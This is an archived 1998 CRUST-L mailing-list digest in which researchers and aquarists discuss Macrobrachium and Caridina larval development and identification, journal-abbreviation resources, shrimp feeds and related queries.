CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sat, 04 Apr 1998 05:25:55 -0500 Subject: CRUST-L: The fry of all species in the genus Magrobrachium Hi again When my M. brasiliense fry hatch out they (200-300 specimens) have an yolk sac and the female is guarding them for their fist stage. I have raised also another M. sp. They originated from Kongo and they (~20 specimens at the time) hatch out at bigger stage with out any yolk sac. Any way, both of these species doesn't have any swimming larval stage. The fry is developped to crawl very soon after hatching. I would like to know if this is a characteristic to this genus? In aquarium markets have been several years some Asian transparent FW shrimps called M. lar. The larvae of these shrimps are swimming. Am I right if I'll say these species could rather belong to the genus Palaemon? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sat, 04 Apr 1998 05:13:21 -0500 Subject: CRUST-L: Genus Caridina Hi guys I would like to know 1. how many described species there is in this genus? - at a rough estimate, how many there will be? 2. do all the larval stages of these species need sea or brackish water? - do C. japonica fry need salt water? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Sun, 05 Apr 1998 11:29:41 +0000 Subject: Re: CRUST-L: The fry of all species in the genus Magrobrachium This is a cryptographically signed message in MIME format. - --------------ms1879D6E6C6F05778566BBFEC Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Jari, the species of the genus Macorbrachium fall roughly into two groups: hololimnetic , like M. brasiliense, which spawn and spend their entire life cycle in freshwater; and a larger group, like M. rosenbergii, the larvae of which, while frequently ecloding in freshwater, are completely dependent on sea/brackish water for development to the post-larval stage. Generally the few (30/female) embryos of the hololimnetic group have a large yolk reserve, hatch in an advanced stage of development, and are benthonic. The abundant (500+/female) larvae of the brackish water dependent group have very few yolk reserves, and undergo a lengthy free swimming developmental sequence. The genus Macrobrachium falls into the family Palaemonidae, although the species are quite distinct from those of the genus Palaemon. See Holthuis (1952) [Occ. Pap. Allan Hancock Found. Pub., Number 12, USC Press] for a detailed analysis of the family in the Americas. I hope this helps. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sun, 05 Apr 1998 21:31:26 -0400 Subject: CRUST-L: Identifying Caridinas? Hi How many species there is in the genus Caridina? Is it possible at all to identify even some species of this genus just by looking a photo? A friend of mine is publishing soon an aquarium CD. He will put there a photo of Caridina sp. You can see the species here: http://www.dlc.fi/~jarvij/caridina.htm Can he say anything more than a Caridina sp as a photo text? Could some one of the list members identify the species? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Choy Satish Date: Mon, 6 Apr 1998 09:22:07 +1000 Subject: CRUST-L: Caridina Jari, There are at least 30 described species of Caridina, some of which are of dubious status. Many species (eg. Caridina nilotica) are in need of taxonomic revision. It is possible to identify some species just from photographs. However, because colour patterns and markings can be variable, the only certain way of identification is by examining the specimens themselves. The specimen in the photographs can be any of several Caridina species (eg. Caridina japonica, C. typus, etc.) or even small specimens of the old ""Atya"" group (eg. Ayopsis pilipes, juvenile Atyoida spinipes, etc.). Both Macrobrachium and the atyids (Caridina spp.) contain species whose eggs hatch at different stages of larval development (ie. ""normal"" (8-12 larval stages, many of which are planktonic), ""abbreviated"" (<8 larval stages, some of which may be planktonic) and ""direct"" (<3 larval stages, none of which are planktonic and are all benthonic). Even though egg size of a species can be highly variable, egg size can generally be an indicator of the type of larval development the species exhibits. For example, a species with numerous, small eggs (eg. Caridina gracilirostris, C. typus) suggests prolonged multi-staged planktonic development and possibly saline tolerance or requirement. A species with few large eggs suggests abbreviated or direct development, not requiring saline water for development (eg. high altitude and land-locked species generally exhibit this strategy; Caridina nudirostris, C. fijiana). Regards Satish =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 6 Apr 1998 12:57:24 -0400 (EDT) Subject: CRUST-L: Bounced messages > Thanks Jeff, but what means, it bounced from the list? Anything wrong with > the address? For some reason I frequently get bounces from European email addresses. A bounce means that a message comes to me (list administator) instead of directly to the list. I usually forward the ""bounced"" message directly to the list (hence the large number of forwards from me). I've tried a couple of things to minimize bounced messages. For example, I've changed a switch in the software that allows the shortened use of domain names instead of full email addresses (full=@your.place.domain.edu; domain=@domain.edu). I think the hyphen (-) in some addresses may be causing the software problem. Unfortunately, I'm usually too busy to ferret out the problem. If you experience a large number of bounced messages (your message getting forwarded by me), then you may want to unsubscribe then resubscribe. In some cases your system administrator has performed a transparent change to your email address that is not so transparent to some email mailers. Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #133 ***************************** >From owner-crust-l Thu Apr 9 14:26:12 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id OAA27328 for crust-l-digest-outgoing; Thu, 9 Apr 1998 14:16:59 -0400 Date: Thu, 9 Apr 1998 14:16:59 -0400 Message-Id: <199804091816.OAA27328@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #134 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 8 crust-l-digest Thursday, 9 April 1998 Volume 01 : Number 134 CRUST-L: Re: Caridina CRUST-L: SOUTH AFRICA AQUACULTURE CRUST-L: Journals titles and abbreviations-Summary CRUST-L: Artificial freshwater (fwd) CRUST-L: Crayfish Purging CRUST-L: list of journal abbreviations CRUST-L: shrimp feeds Re: CRUST-L: list of journal abbreviations CRUST-L: Shrimp feeds CRUST-L: shrimp feed (fwd) CRUST-L: e_address CRUST-L: Villalon e-mail ? CRUST-L: Biological Invasions (a new journal): Call For Papers CRUST-L: RE: Dr. Sandra Gilchrist e_address ---------------------------------------------------------------------- From: Jeffrey Shields Date: Mon, 6 Apr 1998 19:35:19 -0400 (EDT) Subject: CRUST-L: Re: Caridina Please respond to Choy Satish or the list, but not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Choy Satish To: ""'jaris@aqvaari.pp.fi'"" , Subject: RE: CRUST-L: Caridina Date: Tue, 7 Apr 1998 08:45:50 +1000 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Jari, 4 cm does seem rather large for an ovigerous C. japonica specimen. Most early larvae of Caridina are very similar to each other, until they get to later stages and so the diagram may not be of much help. The larvae of C. japonica has been described but I doubt if it would be of much help in your case. What was/is the size of the eggs? Can you count the number of teeth on the rostrum of your adult specimens? This may provide some clue. Apart from measuring the various body parts (ratios) and/or counting certain attributes (eg. no. spines on the dactylus of the pereiopods (legs), spines on the diaresis of the exopod of the uropod (tail fan), etc.), there is very little that can be done to confirm the identity of a Caridina species. Satish >---------- >From: Jari Sandqvist[SMTP:jaris@aqvaari.pp.fi] >Sent: Tuesday, April 07, 1998 11:39 AM >To: Choy Satish >Subject: Re: CRUST-L: Caridina > >Choy Satish wrote: > > > >Hi Choy > >At first. Thanks for your answers, they were very helpful. > >> >> Jari, >> >> The >> specimen in the photographs can be any of several Caridina species (eg. >> Caridina japonica, C. typus, etc.) or even small specimens of the old >> ""Atya"" group (eg. Ayopsis pilipes, juvenile Atyoida spinipes, etc.). >> > >Does it help if I tell you that the female of this species did get >ovigerous at the lenght of 4 cm? The shrimp were sold in the pet store >as C. japonica. > >BTW, what then, if my friend will draw a picture of the newly hatched >fry. Would it be possible to identify the species then? > >Thanks > >Jari Sandqvist > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: clawrence@fish.wa.gov.au Date: Tue, 7 Apr 1998 09:44:28 +0800 Subject: CRUST-L: SOUTH AFRICA AQUACULTURE Hi I have over the years had a number of anecdotal reports of Cherax spp. (marron and yabbies) being farmed/considered for farming in South Africa. Can anyone confirm whether farms in South Africa are currently producing marron and/or yabbies? If so, do you know where the farms are located? and what levels of production are being achieved? Regards Craig <>< <>< <>< <>< <>< <>< <>< Craig Lawrence Research Scientist (Aquaculture) Fisheries Western Australia Fisheries Research Division WA Marine Research Laboratories Ph +61 9 246 8461 Fax +61 9 447 3062 Email clawrence@fish.wa.gov.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Tue, 07 Apr 1998 11:12:18 +0200 Subject: CRUST-L: Journals titles and abbreviations-Summary ***Sorry for crosposting*** - --------------------------- Dear listfellows, I wish to thank all those who replied to my query about websites containing abbreviations and full title of scientific journals. Here is a summary of the received answers: http://161.55.72.103/styleman/bindex.htm http://arachne.prl.msu.edu/journams/ http://www.esd.ornl.gov/journals.html http://www.csa.com/helpV3/ssrclist.html http://www.brzn.de/cgi-bin/nph-wwwredir/www.brzn.de:48601/ Some more information: - - Alkire, Leland G. Jr.: Periodical Title Abbreviations; By Abbreviation; Vol. 1. 11th ed. Detroit, Gale Research, Incorporated, Sept. 1997. - - Alkire, Leland G. Jr.: Periodical Title Abbreviations; By Title; Vol. 2. 11th ed. Detroit, Gale Research, Incorporated, Sept. 1997. - - Alkire, Leland G. Jr.: New Periodical Title Abbreviations; Vol. 3. 10th ed. Detroit, Gale Research, Incorporated, Sept. 1996 (out of print). The publisher is: Gale Research, Inc., 835 Penobscot Bldg. Detroit, MI 48226-4094 Local 313-961-2242 FAX 313-961-6083 Toll Free 800-877-4253. Biosis - Serial Sources. Thompson Henry Ltd. (thl@tomhen.demon.co.uk). A list of old journals is contained in vol. XLIII (1906) of the ""Zoological Record"". Regards, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 7 Apr 1998 10:26:33 -0400 (EDT) Subject: CRUST-L: Artificial freshwater (fwd) Please respond to Sujatha Herath and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Herath K Sujatha Herath To: crust-l@vims.edu Subject: Artificial freshwater Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking for a reference on artificial pond water; soft, medium and hard water. I was informed a reference but it is not available in Australia and could anyone can help me to get the relevant page would be highly appreciated. Environmental Protection Agency, 1991. Methods of measuring the acute toxicity of effluents and receiving waters to freshwater and marine organisms. Fourth edition. EPA 6004 4-90 o27. Enviro. Protect. Agency, Washington D.C., 293pp ( please check the page no is correct) Thank you in advance Sujatha Herath fax +61 3 9662 3421 Royal Melborne Institute of Technology =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: patf@cloud.net.au (Peter Farrell) Date: Tue, 07 Apr 1998 00:23:00 +1000 Subject: CRUST-L: Crayfish Purging G'day Listers I'm looking for anything, scientific or popular, in the literature that makes reference to crustacean/crayfish purging systems. There would appear to be a dearth of information regarding this topic, perhaps interested list members will be willing to share their personal observations. Thanks Peter Farrell RMIT University Melbourne Australia P.S. Cross-posted in both Aqua-L and Crust-L lists.... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Dieter Walossek Date: Wed, 8 Apr 98 10:39 MET DST Subject: CRUST-L: list of journal abbreviations Dear Crustlers, a few days ago, there was a request for information on journal abbreviations. I think it is very good to have such an information since some journals require full titles and others abbreviated ones in reference lists. So I have tried the list of URLs kindly summarized by Carlo Pipitone for us. Trying these, I found out that the first three did not even mention our Journal of Crustacean Biology (Helgolaender wiss. Meeresuntersuchungen would have been much too exotic to even try). CSA is a commercial company that does not allow for tries without subscription (ASFA etc.), and the last url is a link to one of the German library Verbuende (joint systems ???) where I could not find anything like abbreviations of Journal titels. So, has anyone made similar experiences or even has better suggestions where to find such list? DIETER Here is a summary of the received answers, provided by Carlo: http://161.55.72.103/styleman/bindex.htm http://arachne.prl.msu.edu/journams/ http://www.esd.ornl.gov/journals.html http://www.csa.com/helpV3/ssrclist.html http://www.brzn.de/cgi-bin/nph-wwwredir/www.brzn.de:48601/ University professor and head of the Section for Biosystematic Documentation University of Ulm, Helmholtzstrasse 20, 89081 Ulm, Germany phone 0731-50-31000, 50-31001, Fax 50-31009 e-mail: dieter.walossek@biologie.uni-ulm.de >>>>> Important: old address will be no longer availabe after this date!! <<<<< http://www.biologie.uni-ulm.de/biosysdoc/ Note also the homepage of the newly founded >>Gesellschaft fuer Biologische Systematik<<: http://www.biologie.uni-ulm.de/biosysdoc/gesfbsys.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Tiziano Scovacricchi"" Date: Wed, 8 Apr 1998 12:52:24 +0200 Subject: CRUST-L: shrimp feeds Messaggio a piy sezioni in formato MIME. - ------=_NextPart_000_0009_01BD62ED.2D78BAE0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear friends, might anybody help me in contacting firms producing and selling feeds = (starters and growers) for Penaeus japonicus ? Up to now there are no commercial diets available on Italian market and = this make very difficult shrimp farming development. in this area. Firm internet addresses might help as well. Thank you so much. Tiziano Scovacricchi C.N.R. Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia Italia tel (041) 520.76.22 fax (041) 520.41.26 e-mail tisco@ibm.ve.cnr.it - ------=_NextPart_000_0009_01BD62ED.2D78BAE0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear friends,   might anybody help me in contacting = firms=20 producing and selling feeds (starters and growers) for Penaeus japonicus = ? Up to now there are no commercial = diets=20 available on Italian market and this make very difficult shrimp farming=20 development. in this area. Firm internet addresses might help = as=20 well. Thank you so much.   Tiziano Scovacricchi   C.N.R. Istituto di Biologia del = Mare Riva Sette Martiri, = 1364/a 30122 Venezia Italia tel (041) 520.76.22 fax (041) 520.41.26 e-mail tisco@ibm.ve.cnr.it   - ------=_NextPart_000_0009_01BD62ED.2D78BAE0-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Wed, 08 Apr 1998 14:24:35 +0200 Subject: Re: CRUST-L: list of journal abbreviations At 10.39 08/04/98 DST, Dieter Walossek wrote: >Dear Crustlers, >a few days ago, there was a request for information on journal >abbreviations. I think it is very good to have such an information since >some journals require full titles and others abbreviated ones in reference >lists. So I have tried the list of URLs kindly summarized by Carlo Pipitone >for us. Trying these, I found out that the first three did not even mention >our Journal of Crustacean Biology (Helgolaender wiss. Meeresuntersuchungen >would have been much too exotic to even try). CSA is a commercial company >that does not allow for tries without subscription (ASFA etc.), and the >last url is a link to one of the German library Verbuende (joint systems >???) where I could not find anything like abbreviations of Journal titels. > >So, has anyone made similar experiences or even has better suggestions >where to find such list? > >DIETER > >Here is a summary of the received answers, provided by Carlo: > >http://161.55.72.103/styleman/bindex.htm >http://arachne.prl.msu.edu/journams/ >http://www.esd.ornl.gov/journals.html >http://www.csa.com/helpV3/ssrclist.html >http://www.brzn.de/cgi-bin/nph-wwwredir/www.brzn.de:48601/ Dear listfellows, Dieter is right to a great extent. Unfortunately such online lists are far from complete. Anyway, while thanking Dieter for his specifications, some small corrections to what he states (and to what I reported in my summary) are still needed. 1) CSA site (http://www.csa.com/helpV3/ssrclist.html): you should click the ""Aquatic Sciences"" link, then one of the ""Search"" links which appeared on your screen (e.g. ""Biological Sciences and Living Resources, ASFA-1""): this will bring you to a search form in which you can either input the abbreviated title or the complete title. You can even use this form in order to search for all journals containing a particular word (e.g. CELL will hit eight journal names). To be quicker, use the following as your bookmark: http://www.csa.com/htbin/srcsrch.cgi?dbs=www.csa.com+210+/wais/indexes/srcjn l/asfa001-src . I guess this site should be complete, because I believe it contains all the journal names reported in ASFA. 2) the last URL must be corrected (sorry for that! something went wrong with the bookmark!). The right one is: http://www.brzn.de/cgi-bin/nph-wwwobnmenu?PAGE=OBNACCESS&LANG=EN&EXT=ON . This page is in English. You should click on ""GBV Online Retrieval- and Ordersystem"", and a search form will appear. Just input your abbreviation and the complete title will/might be displayed. DO NOT TRY TO BOOKMARK THE SEARCH PAGE - IT WILL NOT WORK! (Don't ask me why!) :-) Sorry for the confusion. Regards, Carlo ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric De Muylder Date: Thu, 09 Apr 1998 09:08:49 +0200 Subject: CRUST-L: Shrimp feeds Dear Tiziano, Our company VDS can supply you good quality shrimp feeds from our specialised shrimp feed mill situated in Seychelles. Please take a look at http://users.skynet.be/vds/ for more information about the feedmill, results in our shrimp farm and shrimp feed specifications. Best regards, Eric De Muylder VDS bvba Paanderstraat 40 8540 Deerlijk Belgium Phone : (32) 56 71 91 68 Fax : (32) 56 70 50 47 e-mail : vds.bvba@skynet.be URL : http://users.skynet.be/vds/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 9 Apr 1998 09:05:28 -0400 (EDT) Subject: CRUST-L: shrimp feed (fwd) Please respond to Jari Sandqvist or the list, and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: Jari Sandqvist Reply-To: jaris@aqvaari.pp.fi X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Tiziano Scovacricchi , crust-l@vims.edu Subject: Re: CRUST-L: shrimp feeds References: <000c01bd62dc$6ab95560$a02ab296@scova.ibm.ve.cnr.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tiziano Scovacricchi wrote: > > Dear friends, > > might anybody help me in contacting firms producing and selling feeds > (starters and growers) for Penaeus japonicus ? > Up to now there are no commercial diets available on Italian market > and this make very difficult shrimp farming development. > in this area. Hi Maybe a stupid question: But couldn't I use the commercial aquarium fish fry feeds for feeding the fry of shrimps? I think they mainly includes egg yolk and yeast. Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""dunham"" Date: Wed, 8 Apr 1998 15:29:05 -0400 Subject: CRUST-L: e_address CRUSTers - Does anyone have a current e_address for Dr. Sandra Gilchrist, University of South Flordia at Sarsota? Merci David Dunham - ---------------------------------------------------------------------------- - --- David W. Dunham dunham@zoo.utoronto.ca Department of Zoology, University of Toronto Toronto, Canada Fax 416-978-8532 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Tiziano Scovacricchi"" Date: Thu, 9 Apr 1998 16:41:59 +0200 Subject: CRUST-L: Villalon e-mail ? Messaggio a piy sezioni in formato MIME. - ------=_NextPart_000_0014_01BD63D6.6A838FC0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear CRUSTers - Does anyone have a current e_address for Jos=E8 R. Villalon (author of = Practical manual for semi-intensive commercial production of marine = shrimp) ? Thank you. Tiziano Scovacricchi CNR Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia e-mail tisco@ibm.ve.cnr.it - ------=_NextPart_000_0014_01BD63D6.6A838FC0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear CRUSTers - Does anyone have a current e_address for Josè R. Villalon = (author of=20 Practical manual for semi-intensive commercial production of marine = shrimp)=20 ? Thank you. Tiziano Scovacricchi CNR Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia e-mail tisco@ibm.ve.cnr.it<= /HTML> - ------=_NextPart_000_0014_01BD63D6.6A838FC0-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""James T. Carlton"" Date: Thu, 09 Apr 1998 06:39:20 -0400 Subject: CRUST-L: Biological Invasions (a new journal): Call For Papers Apologies for cross-postings, but a great many folks are on only one of these lists. Papers are now being accepted for the new journal BIOLOGICAL INVASIONS, to be published by Kluwer Academic Publishers (Netherlands). The Editorial Board includes James Carlton (Editor), Ted Case, Mick Clout, Bruce Coblentz, James Drake, Henri Dumont, Bella Galil, Francesca Gherardi, Peter Kareiva, Mark Lonsdale, Richard Mack, Harold Mooney, Peter Moyle, Petr Pysek, Maria Ribera, David Richardson, Daniel Simberloff, Ronald Thresher, Jeff Waage and Mark Williamson. 